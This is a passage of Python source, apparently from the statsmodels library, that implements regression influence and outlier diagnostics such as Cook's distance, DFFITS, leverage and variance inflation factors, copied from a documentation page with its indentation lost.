# -*- coding: utf-8 -*-
"""Influence and Outlier Measures
Created on Sun Jan 29 11:16:09 2012
Author: Josef Perktold
License: BSD-3
"""
from collections import defaultdict
import numpy as np
from statsmodels.compat.python import lzip
from statsmodels.compat.pandas import Appender
from statsmodels.graphics._regressionplots_doc import _plot_influence_doc
from statsmodels.regression.linear_model import OLS
from statsmodels.stats.multitest import multipletests
from statsmodels.tools.decorators import cache_readonly
from statsmodels.tools.tools import maybe_unwrap_results
# outliers test convenience wrapper
def outlier_test(model_results, method='bonf', alpha=.05, labels=None,
order=False, cutoff=None):
"""
Outlier Tests for RegressionResults instances.
Parameters
----------
model_results : RegressionResults
Linear model results
method : str
- `bonferroni` : one-step correction
- `sidak` : one-step correction
- `holm-sidak` :
- `holm` :
- `simes-hochberg` :
- `hommel` :
- `fdr_bh` : Benjamini/Hochberg
- `fdr_by` : Benjamini/Yekutieli
See `statsmodels.stats.multitest.multipletests` for details.
alpha : float
familywise error rate
labels : None or array_like
If `labels` is not None, then it will be used as index to the
returned pandas DataFrame. See also Returns below
order : bool
Whether or not to order the results by the absolute value of the
studentized residuals. If labels are provided they will also be sorted.
cutoff : None or float in [0, 1]
If cutoff is not None, then the return only includes observations with
multiple testing corrected p-values strictly below the cutoff. The
returned array or dataframe can be empty if there are no outlier
candidates at the specified cutoff.
Returns
-------
table : ndarray or DataFrame
Returns either an ndarray or a DataFrame if labels is not None.
Will attempt to get labels from model_results if available. The
columns are the Studentized residuals, the unadjusted p-value,
and the corrected p-value according to method.
Notes
-----
The unadjusted p-value is stats.t.sf(abs(resid), df) where
df = df_resid - 1.
"""
from scipy import stats # lazy import
if labels is None:
labels = getattr(model_results.model.data, 'row_labels', None)
infl = getattr(model_results, 'get_influence', None)
if infl is None:
results = maybe_unwrap_results(model_results)
raise AttributeError("model_results object %s does not have a "
"get_influence "
"method." % results.__class__.__name__)
resid = infl().resid_studentized_external
if order:
idx = np.abs(resid).argsort()[::-1]
resid = resid[idx]
if labels is not None:
labels = np.asarray(labels)[idx]
df = model_results.df_resid - 1
unadj_p = stats.t.sf(np.abs(resid), df) * 2
adj_p = multipletests(unadj_p, alpha=alpha, method=method)
data = np.c_[resid, unadj_p, adj_p[1]]
if cutoff is not None:
mask = data[:, -1] < cutoff
data = data[mask]
else:
mask = slice(None)
if labels is not None:
from pandas import DataFrame
return DataFrame(data,
columns=['student_resid', 'unadj_p', method + "(p)"],
index=np.asarray(labels)[mask])
return data
# influence measures
def reset_ramsey(res, degree=5):
"""Ramsey's RESET specification test for linear models
This is a general specification test, for additional non-linear effects
in a model.
Parameters
----------
degree : int
Maximum power to include in the RESET test. Powers 0 and 1 are
excluded, so that degree tests powers 2, ..., degree of the fitted
values.
Notes
-----
The test fits an auxiliary OLS regression where the design matrix, exog,
is augmented by powers 2 to degree of the fitted values. Then it performs
an F-test whether these additional terms are significant.
If the p-value of the f-test is below a threshold, e.g. 0.1, then this
indicates that there might be additional non-linear effects in the model
and that the linear model is mis-specified.
References
----------
https://en.wikipedia.org/wiki/Ramsey_RESET_test
"""
order = degree + 1
k_vars = res.model.exog.shape[1]
# vander without constant and x, and drop constant
norm_values = np.asarray(res.fittedvalues)
norm_values = norm_values / np.sqrt((norm_values ** 2).mean())
y_fitted_vander = np.vander(norm_values, order)[:, :-2]
exog = np.column_stack((res.model.exog, y_fitted_vander))
exog /= np.sqrt((exog ** 2).mean(0))
endog = res.model.endog / (res.model.endog ** 2).mean()
res_aux = OLS(endog, exog).fit()
# r_matrix = np.eye(degree, exog.shape[1], k_vars)
r_matrix = np.eye(degree - 1, exog.shape[1], k_vars)
# df1 = degree - 1
# df2 = exog.shape[0] - degree - res.df_model (without constant)
return res_aux.f_test(r_matrix) # , r_matrix, res_aux
[docs]def variance_inflation_factor(exog, exog_idx):
"""variance inflation factor, VIF, for one exogenous variable
The variance inflation factor is a measure for the increase of the
variance of the parameter estimates if an additional variable, given by
exog_idx is added to the linear regression. It is a measure for
multicollinearity of the design matrix, exog.
One recommendation is that if VIF is greater than 5, then the explanatory
variable given by exog_idx is highly collinear with the other explanatory
variables, and the parameter estimates will have large standard errors
because of this.
Parameters
----------
exog : ndarray
design matrix with all explanatory variables, as for example used in
regression
exog_idx : int
index of the exogenous variable in the columns of exog
Returns
-------
vif : float
variance inflation factor
Notes
-----
This function does not save the auxiliary regression.
See Also
--------
xxx : class for regression diagnostics TODO: does not exist yet
References
----------
https://en.wikipedia.org/wiki/Variance_inflation_factor
"""
k_vars = exog.shape[1]
x_i = exog[:, exog_idx]
mask = np.arange(k_vars) != exog_idx
x_noti = exog[:, mask]
r_squared_i = OLS(x_i, x_noti).fit().rsquared
vif = 1. / (1. - r_squared_i)
return vif
class _BaseInfluenceMixin(object):
"""common methods between OLSInfluence and MLE/GLMInfluence
"""
@Appender(_plot_influence_doc.format(**{'extra_params_doc': ""}))
def plot_influence(self, external=None, alpha=.05, criterion="cooks",
size=48, plot_alpha=.75, ax=None, **kwargs):
if external is None:
external = hasattr(self, '_cache') and 'res_looo' in self._cache
from statsmodels.graphics.regressionplots import _influence_plot
res = _influence_plot(self.results, self, external=external,
alpha=alpha,
criterion=criterion, size=size,
plot_alpha=plot_alpha, ax=ax, **kwargs)
return res
def _plot_index(self, y, ylabel, threshold=None, title=None, ax=None,
**kwds):
from statsmodels.graphics import utils
fig, ax = utils.create_mpl_ax(ax)
if title is None:
title = "Index Plot"
nobs = len(self.endog)
index = np.arange(nobs)
ax.scatter(index, y, **kwds)
if threshold == 'all':
large_points = np.ones(nobs, np.bool_)
else:
large_points = np.abs(y) > threshold
psize = 3 * np.ones(nobs)
# add point labels
labels = self.results.model.data.row_labels
if labels is None:
labels = np.arange(nobs)
ax = utils.annotate_axes(np.where(large_points)[0], labels,
lzip(index, y),
lzip(-psize, psize), "large",
ax)
font = {"fontsize": 16, "color": "black"}
ax.set_ylabel(ylabel, **font)
ax.set_xlabel("Observation", **font)
ax.set_title(title, **font)
return fig
def plot_index(self, y_var='cooks', threshold=None, title=None, ax=None,
idx=None, **kwds):
"""index plot for influence attributes
Parameters
----------
y_var : str
Name of attribute or shortcut for predefined attributes that will
be plotted on the y-axis.
threshold : None or float
Threshold for adding annotation with observation labels.
Observations for which the absolute value of the y_var is larger
than the threshold will be annotated. Set to a negative number to
label all observations or to a large number to have no annotation.
title : str
If provided, the title will replace the default "Index Plot" title.
ax : matplolib axis instance
The plot will be added to the `ax` if provided, otherwise a new
figure is created.
idx : {None, int}
Some attributes require an additional index to select the y-var.
In dfbetas this refers to the column indes.
kwds : optional keywords
Keywords will be used in the call to matplotlib scatter function.
"""
criterion = y_var # alias
if threshold is None:
# TODO: criterion specific defaults
threshold = 'all'
if criterion == 'dfbeta':
y = self.dfbetas[:, idx]
ylabel = 'DFBETA for ' + self.results.model.exog_names[idx]
elif criterion.startswith('cook'):
y = self.cooks_distance[0]
ylabel = "Cook's distance"
elif criterion.startswith('hat') or criterion.startswith('lever'):
y = self.hat_matrix_diag
ylabel = "Leverage (diagonal of hat matrix)"
elif criterion.startswith('cook'):
y = self.cooks_distance[0]
ylabel = "Cook's distance"
elif criterion.startswith('resid'):
y = self.resid_studentized
ylabel = "Internally Studentized Residuals"
else:
# assume we have the name of an attribute
y = getattr(self, y_var)
if idx is not None:
y = y[idx]
ylabel = y_var
fig = self._plot_index(y, ylabel, threshold=threshold, title=title,
ax=ax, **kwds)
return fig
[docs]class MLEInfluence(_BaseInfluenceMixin):
"""Local Influence and outlier measures (experimental)
This currently subclasses GLMInfluence instead of the other way.
No common superclass yet.
This is another version before checking what is common
Parameters
----------
results : instance of results class
This only works for model and results classes that have the necessary
helper methods.
other arguments are only to override default behavior and are used instead
of the corresponding attribute of the results class.
By default resid_pearson is used as resid.
Attributes
----------
hat_matrix_diag (hii) : This is the generalized leverage computed as the
local derivative of fittedvalues (predicted mean) with respect to the
observed response for each observation.
d_params : Change in parameters computed with one Newton step using the
full Hessian corrected by division by (1 - hii).
dbetas : change in parameters divided by the standard error of parameters
from the full model results, ``bse``.
cooks_distance : quadratic form for change in parameters weighted by
``cov_params`` from the full model divided by the number of variables.
It includes p-values based on the F-distribution which are only
approximate outside of linear Gaussian models.
resid_studentized : In the general MLE case resid_studentized are
computed from the score residuals scaled by hessian factor and
leverage. This does not use ``cov_params``.
d_fittedvalues : local change of expected mean given the change in the
parameters as computed in ``d_params``.
d_fittedvalues_scaled : same as d_fittedvalues but scaled by the standard
errors of a predicted mean of the response.
params_one : is the one step parameter estimate computed as ``params``
from the full sample minus ``d_params``.
Notes
-----
MLEInfluence produces the same results as GLMInfluence (verified for GLM
Binomial and Gaussian). There will be some differences for non-canonical
links or if a robust cov_type is used.
Warning: This does currently not work for constrained or penalized models,
e.g. models estimated with fit_constrained or fit_regularized.
This has not yet been tested for correctness when offset or exposure
are used, although they should be supported by the code.
status: experimental,
This class will need changes to support different kinds of models, e.g.
extra parameters in discrete.NegativeBinomial or two-part models like
ZeroInflatedPoisson.
"""
def __init__(self, results, resid=None, endog=None, exog=None,
hat_matrix_diag=None, cov_params=None, scale=None):
# I'm not calling super for now, OLS attributes might not be available
# check which model is allowed
self.results = results = maybe_unwrap_results(results)
# TODO: check for extra params in e.g. NegBin
self.nobs, self.k_vars = results.model.exog.shape
self.endog = endog if endog is not None else results.model.endog
self.exog = exog if exog is not None else results.model.exog
self.resid = resid if resid is not None else results.resid_pearson
self.scale = scale if scale is not None else results.scale
self.cov_params = (cov_params if cov_params is not None
else results.cov_params())
self.model_class = results.model.__class__
self.hessian = self.results.model.hessian(self.results.params)
self.score_obs = self.results.model.score_obs(self.results.params)
if hat_matrix_diag is not None:
self._hat_matrix_diag = hat_matrix_diag
@cache_readonly
def hat_matrix_diag(self):
"""Diagonal of the generalized leverage
This is the analogue of the hat matrix diagonal for general MLE.
"""
if hasattr(self, '_hat_matrix_diag'):
return self._hat_matrix_diag
dmu_dp = self.results.model._deriv_mean_dparams(self.results.params)
dsdy = self.results.model._deriv_score_obs_dendog(self.results.params)
# dmu_dp = 1 /
# self.results.model.family.link.deriv(self.results.fittedvalues)
h = (dmu_dp * np.linalg.solve(-self.hessian, dsdy.T).T).sum(1)
return h
@cache_readonly
def d_params(self):
"""Change in parameter estimates
This uses one-step approximation of the parameter change to deleting
one observation.
"""
so_noti = self.score_obs.sum(0) - self.score_obs
beta_i = np.linalg.solve(self.hessian, so_noti.T).T
return beta_i / (1 - self.hat_matrix_diag)[:, None]
@cache_readonly
def dfbetas(self):
"""Scaled change in parameter estimates
The one-step change of parameters in d_params is rescaled by dividing
by the standard error of the parameter estimate given by results.bse.
"""
beta_i = self.d_params / self.results.bse
return beta_i
@cache_readonly
def params_one(self):
"""Parameter estimate based on one-step approximation
This the one step parameter estimate computed as
``params`` from the full sample minus ``d_params``.
"""
return self.results.params - self.d_params
@cache_readonly
def cooks_distance(self):
"""Cook's distance and p-values
Based on one step approximation d_params and on results.cov_params
Cook's distance divides by the number of explanatory variables.
p-values are based on the F-distribution which are only approximate
outside of linear Gaussian models.
Warning: The definition of p-values might change if we switch to using
chi-square distribution instead of F-distribution, or if we make it
dependent on the fit keyword use_t.
"""
cooks_d2 = (self.d_params * np.linalg.solve(self.cov_params,
self.d_params.T).T).sum(1)
cooks_d2 /= self.k_vars
from scipy import stats
# alpha = 0.1
# print stats.f.isf(1-alpha, n_params, res.df_modelwc)
# TODO use chi2 # use_f option
pvals = stats.f.sf(cooks_d2, self.k_vars, self.results.df_resid)
return cooks_d2, pvals
@cache_readonly
def resid_studentized(self):
"""Score residual divided by sqrt of hessian factor
experimental, agrees with GLMInfluence for Binomial and Gaussian.
no reference for this
"""
sf = self.results.model.score_factor(self.results.params)
hf = self.results.model.hessian_factor(self.results.params)
return sf / np.sqrt(hf) / np.sqrt(1 - self.hat_matrix_diag)
@cache_readonly
def _get_prediction(self):
# TODO: do we cache this or does it need to be a method
# we only need unchanging parts, alpha for confint could change
return self.results.get_prediction()
@cache_readonly
def d_fittedvalues(self):
"""Change in expected response, fittedvalues
Local change of expected mean given the change in the parameters as
computed in d_params.
Notes
-----
This uses one-step approximation of the parameter change to deleting
one observation ``d_params``.
"""
# results.params might be a pandas.Series
params = np.asarray(self.results.params)
deriv = self.results.model._deriv_mean_dparams(params)
return (deriv * self.d_params).sum(1)
@property
def d_fittedvalues_scaled(self):
"""
Change in fittedvalues scaled by standard errors
This uses one-step approximation of the parameter change to deleting
one observation ``d_params``, and divides by the standard errors
for the predicted mean provided by results.get_prediction.
"""
# Note: this and the previous methods are for the response
# and not for a weighted response, i.e. not the self.exog, self.endog
# this will be relevant for WLS comparing fitted endog versus wendog
return self.d_fittedvalues / self._get_prediction.se_mean
[docs] def summary_frame(self):
"""
Creates a DataFrame with influence results.
Returns
-------
frame : pandas DataFrame
A DataFrame with selected results for each observation.
The index will be the same as provided to the model.
Notes
-----
The resultant DataFrame contains six variables in addition to the
``dfbetas``. These are:
* cooks_d : Cook's Distance defined in ``cooks_distance``
* standard_resid : Standardized residuals defined in
`resid_studentizedl`
* hat_diag : The diagonal of the projection, or hat, matrix defined in
`hat_matrix_diag`
* dffits_internal : DFFITS statistics using internally Studentized
residuals defined in `d_fittedvalues_scaled`
"""
from pandas import DataFrame
# row and column labels
data = self.results.model.data
row_labels = data.row_labels
beta_labels = ['dfb_' + i for i in data.xnames]
# grab the results
summary_data = DataFrame(dict(
cooks_d=self.cooks_distance[0],
standard_resid=self.resid_studentized,
hat_diag=self.hat_matrix_diag,
dffits_internal=self.d_fittedvalues_scaled),
index=row_labels)
# NOTE: if we do not give columns, order of above will be arbitrary
dfbeta = DataFrame(self.dfbetas, columns=beta_labels,
index=row_labels)
return dfbeta.join(summary_data)
[docs]class OLSInfluence(_BaseInfluenceMixin):
"""class to calculate outlier and influence measures for OLS result
Parameters
----------
results : RegressionResults
currently assumes the results are from an OLS regression
Notes
-----
One part of the results can be calculated without any auxiliary regression
(some of which have the `_internal` postfix in the name. Other statistics
require leave-one-observation-out (LOOO) auxiliary regression, and will be
slower (mainly results with `_external` postfix in the name).
The auxiliary LOOO regression only the required results are stored.
Using the LOO measures is currently only recommended if the data set
is not too large. One possible approach for LOOO measures would be to
identify possible problem observations with the _internal measures, and
then run the leave-one-observation-out only with observations that are
possible outliers. (However, this is not yet available in an automated way.)
This should be extended to general least squares.
The leave-one-variable-out (LOVO) auxiliary regression are currently not
used.
"""
def __init__(self, results):
# check which model is allowed
self.results = maybe_unwrap_results(results)
self.nobs, self.k_vars = results.model.exog.shape
self.endog = results.model.endog
self.exog = results.model.exog
self.resid = results.resid
self.model_class = results.model.__class__
# self.sigma_est = np.sqrt(results.mse_resid)
self.scale = results.mse_resid
self.aux_regression_exog = {}
self.aux_regression_endog = {}
@cache_readonly
def hat_matrix_diag(self):
"""Diagonal of the hat_matrix for OLS
Notes
-----
temporarily calculated here, this should go to model class
"""
return (self.exog * self.results.model.pinv_wexog.T).sum(1)
@cache_readonly
def resid_press(self):
"""PRESS residuals
"""
hii = self.hat_matrix_diag
return self.resid / (1 - hii)
@cache_readonly
def influence(self):
"""Influence measure
matches the influence measure that gretl reports
u * h / (1 - h)
where u are the residuals and h is the diagonal of the hat_matrix
"""
hii = self.hat_matrix_diag
return self.resid * hii / (1 - hii)
@cache_readonly
def hat_diag_factor(self):
"""Factor of diagonal of hat_matrix used in influence
this might be useful for internal reuse
h / (1 - h)
"""
hii = self.hat_matrix_diag
return hii / (1 - hii)
@cache_readonly
def ess_press(self):
"""Error sum of squares of PRESS residuals
"""
return np.dot(self.resid_press, self.resid_press)
@cache_readonly
def resid_studentized(self):
"""Studentized residuals using variance from OLS
alias for resid_studentized_internal for compatibility with
MLEInfluence this uses sigma from original estimate and does
not require leave one out loop
"""
return self.resid_studentized_internal
@cache_readonly
def resid_studentized_internal(self):
"""Studentized residuals using variance from OLS
this uses sigma from original estimate
does not require leave one out loop
"""
return self.get_resid_studentized_external(sigma=None)
# return self.results.resid / self.sigma_est
@cache_readonly
def resid_studentized_external(self):
"""Studentized residuals using LOOO variance
this uses sigma from leave-one-out estimates
requires leave one out loop for observations
"""
sigma_looo = np.sqrt(self.sigma2_not_obsi)
return self.get_resid_studentized_external(sigma=sigma_looo)
[docs] def get_resid_studentized_external(self, sigma=None):
"""calculate studentized residuals
Parameters
----------
sigma : None or float
estimate of the standard deviation of the residuals. If None, then
the estimate from the regression results is used.
Returns
-------
stzd_resid : ndarray
studentized residuals
Notes
-----
studentized residuals are defined as ::
resid / sigma / np.sqrt(1 - hii)
where resid are the residuals from the regression, sigma is an
estimate of the standard deviation of the residuals, and hii is the
diagonal of the hat_matrix.
"""
hii = self.hat_matrix_diag
if sigma is None:
sigma2_est = self.scale
# can be replace by different estimators of sigma
sigma = np.sqrt(sigma2_est)
return self.resid / sigma / np.sqrt(1 - hii)
# same computation as GLMInfluence
@cache_readonly
def cooks_distance(self):
"""
Cooks distance
Uses original results, no nobs loop
References
----------
.. [*] Eubank, R. L. (1999). Nonparametric regression and spline
smoothing. CRC press.
.. [*] Cook's distance. (n.d.). In Wikipedia. July 2019, from
https://en.wikipedia.org/wiki/Cook%27s_distance
"""
hii = self.hat_matrix_diag
# Eubank p.93, 94
cooks_d2 = self.resid_studentized ** 2 / self.k_vars
cooks_d2 *= hii / (1 - hii)
from scipy import stats
# alpha = 0.1
# print stats.f.isf(1-alpha, n_params, res.df_modelwc)
pvals = stats.f.sf(cooks_d2, self.k_vars, self.results.df_resid)
return cooks_d2, pvals
@cache_readonly
def dffits_internal(self):
"""dffits measure for influence of an observation
based on resid_studentized_internal
uses original results, no nobs loop
"""
# TODO: do I want to use different sigma estimate in
# resid_studentized_external
# -> move definition of sigma_error to the __init__
hii = self.hat_matrix_diag
dffits_ = self.resid_studentized_internal * np.sqrt(hii / (1 - hii))
dffits_threshold = 2 * np.sqrt(self.k_vars * 1. / self.nobs)
return dffits_, dffits_threshold
@cache_readonly
def dffits(self):
"""
dffits measure for influence of an observation
based on resid_studentized_external,
uses results from leave-one-observation-out loop
It is recommended that observations with dffits large than a
threshold of 2 sqrt{k / n} where k is the number of parameters, should
be investigated.
Returns
-------
dffits : float
dffits_threshold : float
References
----------
`Wikipedia <https://en.wikipedia.org/wiki/DFFITS>`_
"""
# TODO: do I want to use different sigma estimate in
# resid_studentized_external
# -> move definition of sigma_error to the __init__
hii = self.hat_matrix_diag
dffits_ = self.resid_studentized_external * np.sqrt(hii / (1 - hii))
dffits_threshold = 2 * np.sqrt(self.k_vars * 1. / self.nobs)
return dffits_, dffits_threshold
@cache_readonly
def dfbetas(self):
"""dfbetas
uses results from leave-one-observation-out loop
"""
dfbetas = self.results.params - self.params_not_obsi # [None,:]
dfbetas /= np.sqrt(self.sigma2_not_obsi[:, None])
dfbetas /= np.sqrt(np.diag(self.results.normalized_cov_params))
return dfbetas
@cache_readonly
def dfbeta(self):
"""dfbetas
uses results from leave-one-observation-out loop
"""
dfbeta = self.results.params - self.params_not_obsi
return dfbeta
@cache_readonly
def sigma2_not_obsi(self):
"""error variance for all LOOO regressions
This is 'mse_resid' from each auxiliary regression.
uses results from leave-one-observation-out loop
"""
return np.asarray(self._res_looo['mse_resid'])
@property
def params_not_obsi(self):
"""parameter estimates for all LOOO regressions
uses results from leave-one-observation-out loop
"""
return np.asarray(self._res_looo['params'])
@property
def det_cov_params_not_obsi(self):
"""determinant of cov_params of all LOOO regressions
uses results from leave-one-observation-out loop
"""
return np.asarray(self._res_looo['det_cov_params'])
@cache_readonly
def cov_ratio(self):
"""covariance ratio between LOOO and original
This uses determinant of the estimate of the parameter covariance
from leave-one-out estimates.
requires leave one out loop for observations
"""
# do not use inplace division / because then we change original
cov_ratio = (self.det_cov_params_not_obsi
/ np.linalg.det(self.results.cov_params()))
return cov_ratio
@cache_readonly
def resid_var(self):
"""estimate of variance of the residuals
::
sigma2 = sigma2_OLS * (1 - hii)
where hii is the diagonal of the hat matrix
"""
# TODO:check if correct outside of ols
return self.scale * (1 - self.hat_matrix_diag)
@cache_readonly
def resid_std(self):
"""estimate of standard deviation of the residuals
See Also
--------
resid_var
"""
return np.sqrt(self.resid_var)
def _ols_xnoti(self, drop_idx, endog_idx='endog', store=True):
"""regression results from LOVO auxiliary regression with cache
The result instances are stored, which could use a large amount of
memory if the datasets are large. There are too many combinations to
store them all, except for small problems.
Parameters
----------
drop_idx : int
index of exog that is dropped from the regression
endog_idx : 'endog' or int
If 'endog', then the endogenous variable of the result instance
is regressed on the exogenous variables, excluding the one at
drop_idx. If endog_idx is an integer, then the exog with that
index is regressed with OLS on all other exogenous variables.
(The latter is the auxiliary regression for the variance inflation
factor.)
this needs more thought, memory versus speed
not yet used in any other parts, not sufficiently tested
"""
# reverse the structure, access store, if fail calculate ?
# this creates keys in store even if store = false ! bug
if endog_idx == 'endog':
stored = self.aux_regression_endog
if hasattr(stored, drop_idx):
return stored[drop_idx]
x_i = self.results.model.endog
else:
# nested dictionary
try:
self.aux_regression_exog[endog_idx][drop_idx]
except KeyError:
pass
stored = self.aux_regression_exog[endog_idx]
stored = {}
x_i = self.exog[:, endog_idx]
k_vars = self.exog.shape[1]
mask = np.arange(k_vars) != drop_idx
x_noti = self.exog[:, mask]
res = OLS(x_i, x_noti).fit()
if store:
stored[drop_idx] = res
return res
def _get_drop_vari(self, attributes):
"""
regress endog on exog without one of the variables
This uses a k_vars loop, only attributes of the OLS instance are
stored.
Parameters
----------
attributes : list[str]
These are the names of the attributes of the auxiliary OLS results
instance that are stored and returned.
not yet used
"""
from statsmodels.sandbox.tools.cross_val import LeaveOneOut
endog = self.results.model.endog
exog = self.exog
cv_iter = LeaveOneOut(self.k_vars)
res_loo = defaultdict(list)
for inidx, outidx in cv_iter:
for att in attributes:
res_i = self.model_class(endog, exog[:, inidx]).fit()
res_loo[att].append(getattr(res_i, att))
return res_loo
@cache_readonly
def _res_looo(self):
"""collect required results from the LOOO loop
all results will be attached.
currently only 'params', 'mse_resid', 'det_cov_params' are stored
regresses endog on exog dropping one observation at a time
this uses a nobs loop, only attributes of the OLS instance are stored.
"""
from statsmodels.sandbox.tools.cross_val import LeaveOneOut
def get_det_cov_params(res):
return np.linalg.det(res.cov_params())
endog = self.results.model.endog
exog = self.results.model.exog
params = np.zeros(exog.shape, dtype=float)
mse_resid = np.zeros(endog.shape, dtype=float)
det_cov_params = np.zeros(endog.shape, dtype=float)
cv_iter = LeaveOneOut(self.nobs)
for inidx, outidx in cv_iter:
res_i = self.model_class(endog[inidx], exog[inidx]).fit()
params[outidx] = res_i.params
mse_resid[outidx] = res_i.mse_resid
det_cov_params[outidx] = get_det_cov_params(res_i)
return dict(params=params, mse_resid=mse_resid,
det_cov_params=det_cov_params)
[docs] def summary_frame(self):
"""
Creates a DataFrame with all available influence results.
Returns
-------
frame : DataFrame
A DataFrame with all results.
Notes
-----
The resultant DataFrame contains six variables in addition to the
DFBETAS. These are:
* cooks_d : Cook's Distance defined in `Influence.cooks_distance`
* standard_resid : Standardized residuals defined in
`Influence.resid_studentized_internal`
* hat_diag : The diagonal of the projection, or hat, matrix defined in
`Influence.hat_matrix_diag`
* dffits_internal : DFFITS statistics using internally Studentized
residuals defined in `Influence.dffits_internal`
* dffits : DFFITS statistics using externally Studentized residuals
defined in `Influence.dffits`
* student_resid : Externally Studentized residuals defined in
`Influence.resid_studentized_external`
"""
from pandas import DataFrame
# row and column labels
data = self.results.model.data
row_labels = data.row_labels
beta_labels = ['dfb_' + i for i in data.xnames]
# grab the results
summary_data = DataFrame(dict(
cooks_d=self.cooks_distance[0],
standard_resid=self.resid_studentized_internal,
hat_diag=self.hat_matrix_diag,
dffits_internal=self.dffits_internal[0],
student_resid=self.resid_studentized_external,
dffits=self.dffits[0],
),
index=row_labels)
# NOTE: if we do not give columns, order of above will be arbitrary
dfbeta = DataFrame(self.dfbetas, columns=beta_labels,
index=row_labels)
return dfbeta.join(summary_data)
[docs] def summary_table(self, float_fmt="%6.3f"):
"""create a summary table with all influence and outlier measures
This does currently not distinguish between statistics that can be
calculated from the original regression results and for which a
leave-one-observation-out loop is needed
Returns
-------
res : SimpleTable
SimpleTable instance with the results, can be printed
Notes
-----
This also attaches table_data to the instance.
"""
# print self.dfbetas
# table_raw = [ np.arange(self.nobs),
# self.endog,
# self.fittedvalues,
# self.cooks_distance(),
# self.resid_studentized_internal,
# self.hat_matrix_diag,
# self.dffits_internal,
# self.resid_studentized_external,
# self.dffits,
# self.dfbetas
# ]
table_raw = [('obs', np.arange(self.nobs)),
('endog', self.endog),
('fitted\nvalue', self.results.fittedvalues),
("Cook's\nd", self.cooks_distance[0]),
("student.\nresidual", self.resid_studentized_internal),
('hat diag', self.hat_matrix_diag),
('dffits \ninternal', self.dffits_internal[0]),
("ext.stud.\nresidual", self.resid_studentized_external),
('dffits', self.dffits[0])
]
colnames, data = lzip(*table_raw) # unzip
data = np.column_stack(data)
self.table_data = data
from statsmodels.iolib.table import SimpleTable, default_html_fmt
from statsmodels.iolib.tableformatting import fmt_base
from copy import deepcopy
fmt = deepcopy(fmt_base)
fmt_html = deepcopy(default_html_fmt)
fmt['data_fmts'] = ["%4d"] + [float_fmt] * (data.shape[1] - 1)
# fmt_html['data_fmts'] = fmt['data_fmts']
return SimpleTable(data, headers=colnames, txt_fmt=fmt,
html_fmt=fmt_html)
def summary_table(res, alpha=0.05):
"""
Generate summary table of outlier and influence similar to SAS
Parameters
----------
alpha : float
significance level for confidence interval
Returns
-------
st : SimpleTable
table with results that can be printed
data : ndarray
calculated measures and statistics for the table
ss2 : list[str]
column_names for table (Note: rows of table are observations)
"""
from scipy import stats
from statsmodels.sandbox.regression.predstd import wls_prediction_std
infl = OLSInfluence(res)
# standard error for predicted mean
# Note: using hat_matrix only works for fitted values
predict_mean_se = np.sqrt(infl.hat_matrix_diag * res.mse_resid)
tppf = stats.t.isf(alpha / 2., res.df_resid)
predict_mean_ci = np.column_stack([
res.fittedvalues - tppf * predict_mean_se,
res.fittedvalues + tppf * predict_mean_se])
# standard error for predicted observation
tmp = wls_prediction_std(res, alpha=alpha)
predict_se, predict_ci_low, predict_ci_upp = tmp
predict_ci = np.column_stack((predict_ci_low, predict_ci_upp))
# standard deviation of residual
resid_se = np.sqrt(res.mse_resid * (1 - infl.hat_matrix_diag))
table_sm = np.column_stack([
np.arange(res.nobs) + 1,
res.model.endog,
res.fittedvalues,
predict_mean_se,
predict_mean_ci[:, 0],
predict_mean_ci[:, 1],
predict_ci[:, 0],
predict_ci[:, 1],
res.resid,
resid_se,
infl.resid_studentized_internal,
infl.cooks_distance[0]
])
# colnames, data = lzip(*table_raw) #unzip
data = table_sm
ss2 = ['Obs', 'Dep Var\nPopulation', 'Predicted\nValue',
'Std Error\nMean Predict', 'Mean ci\n95% low', 'Mean ci\n95% upp',
'Predict ci\n95% low', 'Predict ci\n95% upp', 'Residual',
'Std Error\nResidual', 'Student\nResidual', "Cook's\nD"]
colnames = ss2
# self.table_data = data
# data = np.column_stack(data)
from statsmodels.iolib.table import SimpleTable, default_html_fmt
from statsmodels.iolib.tableformatting import fmt_base
from copy import deepcopy
fmt = deepcopy(fmt_base)
fmt_html = deepcopy(default_html_fmt)
fmt['data_fmts'] = ["%4d"] + ["%6.3f"] * (data.shape[1] - 1)
# fmt_html['data_fmts'] = fmt['data_fmts']
st = SimpleTable(data, headers=colnames, txt_fmt=fmt,
html_fmt=fmt_html)
return st, data, ss2
[docs]class GLMInfluence(MLEInfluence):
"""Influence and outlier measures (experimental)
This uses partly formulas specific to GLM, specifically cooks_distance
is based on the hessian, i.e. observed or expected information matrix and
not on cov_params, in contrast to MLEInfluence.
Standardization for changes in parameters, in fittedvalues and in
the linear predictor are based on cov_params.
Parameters
----------
results : instance of results class
This only works for model and results classes that have the necessary
helper methods.
other arguments are only to override default behavior and are used instead
of the corresponding attribute of the results class.
By default resid_pearson is used as resid.
Attributes
----------
dbetas
change in parameters divided by the standard error of parameters from
the full model results, ``bse``.
d_fittedvalues_scaled
same as d_fittedvalues but scaled by the standard errors of a
predicted mean of the response.
d_linpred
local change in linear prediction.
d_linpred_scale
local change in linear prediction scaled by the standard errors for
the prediction based on cov_params.
Notes
-----
This has not yet been tested for correctness when offset or exposure
are used, although they should be supported by the code.
Some GLM specific measures like d_deviance are still missing.
Computing an explicit leave-one-observation-out (LOOO) loop is included
but no influence measures are currently computed from it.
"""
@cache_readonly
def hat_matrix_diag(self):
"""
Diagonal of the hat_matrix for GLM
Notes
-----
This returns the diagonal of the hat matrix that was provided as
argument to GLMInfluence or computes it using the results method
`get_hat_matrix`.
"""
if hasattr(self, '_hat_matrix_diag'):
return self._hat_matrix_diag
else:
return self.results.get_hat_matrix()
@cache_readonly
def d_params(self):
"""Change in parameter estimates
Notes
-----
This uses one-step approximation of the parameter change to deleting
one observation.
"""
beta_i = np.linalg.pinv(self.exog) * self.resid_studentized
beta_i /= np.sqrt(1 - self.hat_matrix_diag)
return beta_i.T
# same computation as OLS
@cache_readonly
def resid_studentized(self):
"""
Internally studentized pearson residuals
Notes
-----
residuals / sqrt( scale * (1 - hii))
where residuals are those provided to GLMInfluence which are
pearson residuals by default, and
hii is the diagonal of the hat matrix.
"""
hii = self.hat_matrix_diag
return self.resid / np.sqrt(self.scale * (1 - hii))
# same computation as OLS
@cache_readonly
def cooks_distance(self):
"""Cook's distance
Notes
-----
Based on one step approximation using resid_studentized and
hat_matrix_diag for the computation.
Cook's distance divides by the number of explanatory variables.
Computed using formulas for GLM and does not use results.cov_params.
It includes p-values based on the F-distribution which are only
approximate outside of linear Gaussian models.
"""
hii = self.hat_matrix_diag
# Eubank p.93, 94
cooks_d2 = self.resid_studentized ** 2 / self.k_vars
cooks_d2 *= hii / (1 - hii)
from scipy import stats
# alpha = 0.1
